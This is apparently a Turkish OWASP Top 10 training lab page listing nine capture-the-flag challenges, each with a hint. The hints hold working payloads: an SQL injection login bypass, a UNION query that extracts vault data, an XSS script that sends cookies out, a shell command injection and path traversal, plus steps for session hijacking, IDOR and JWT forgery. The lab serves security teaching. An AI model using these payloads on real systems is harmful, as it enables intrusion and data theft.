10 KASIM 1938 09:05 Mustafa Kemal Atatürk

OWASP Top 10 Laboratuvarı

Çözülen bayraklar: 0 / 8 (0 / 1300 puan)

A03: Injection Kolay

1. SQL Injection: Kimlik Doğrulama

Giriş sorgusunda parametrik yapı kullanılmadığından parola olmadan oturum açılabilir.

İpucu
Kullanıcı adı: admin' --
Parola: herhangi bir değer
A03: Injection Zor

2. UNION SQLi: Veri Sızıntısı

Katalog sorgusunda 6 kolonlu UNION tabanlı SQL enjeksiyonu bulunmaktadır.

İpucu
?cat=Donanım' UNION SELECT id, vault_name, access_level, 0, 1, flag FROM classified_vault--
A03: Injection Orta

3. Siteler Arası Betik Çalıştırma (XSS)

Destek biletlerinde kullanıcı girdisi filtrelenmeden işlenmektedir.

İpucu
<script>fetch('/api/log-cookie?c='+encodeURIComponent(document.cookie))</script>
A04: Insecure Design Orta

4. Dosya Yükleme Açığı

Yüklenen dosyalarda uzantı ve MIME türü kontrolü bulunmamaktadır.

İpucu
HTML veya SVG dosyası yükleyerek tarayıcıda doğrudan çalıştırın.
A03: Injection Zor

5. Komut Enjeksiyonu (RCE)

Ağ teşhis aracında girdi sistem kabuğuna filtrelenmeden iletilmektedir.

İpucu
127.0.0.1 & whoami
A07: Auth Failures Zor

6. Oturum Çalma ve Tekrar Oynatma

Yönetici oturum çerezi çalınarak Seviye-4 kasaya erişim sağlanabilir.

İpucu
Çerez dinleyiciden alınan KALKAN_SESSION çerezi tarayıcıya eklenir ve kasaya erişilir.
A01: Broken Access Control Orta

7. IDOR: Bordro Sistemi

Bordro kayıtları URL üzerinden erişilebilir; kayıt sahibi kontrolü yapılmamaktadır.

İpucu
Kendi bordro kayıt numaranızı bulun ve URL'deki numarayı değiştirerek diğer kayıtları deneyin.
A01: Broken Access Control Orta

8. Dizin Geçişi (Path Traversal / LFI)

Kurumsal doküman görüntüleyicisinde dosya yolu doğrulanmadan sunucuya iletilmektedir.

İpucu
?file=../app.py ile kaynak kodu okuyun veya gizli arşiv dosyasını arayın.
A07: Auth Failures Zor

9. JWT Yetki Yükseltme (Mobil API)

Mobil API token'ları zayıf bir anahtarla imzalanmaktadır; rolü değiştirip yeniden imzalayabilirsiniz.

İpucu
Doküman kütüphanesindeki API notlarını okuyun, token'ı payload'ı düzenleyip aynı anahtarla yeniden imzalayın.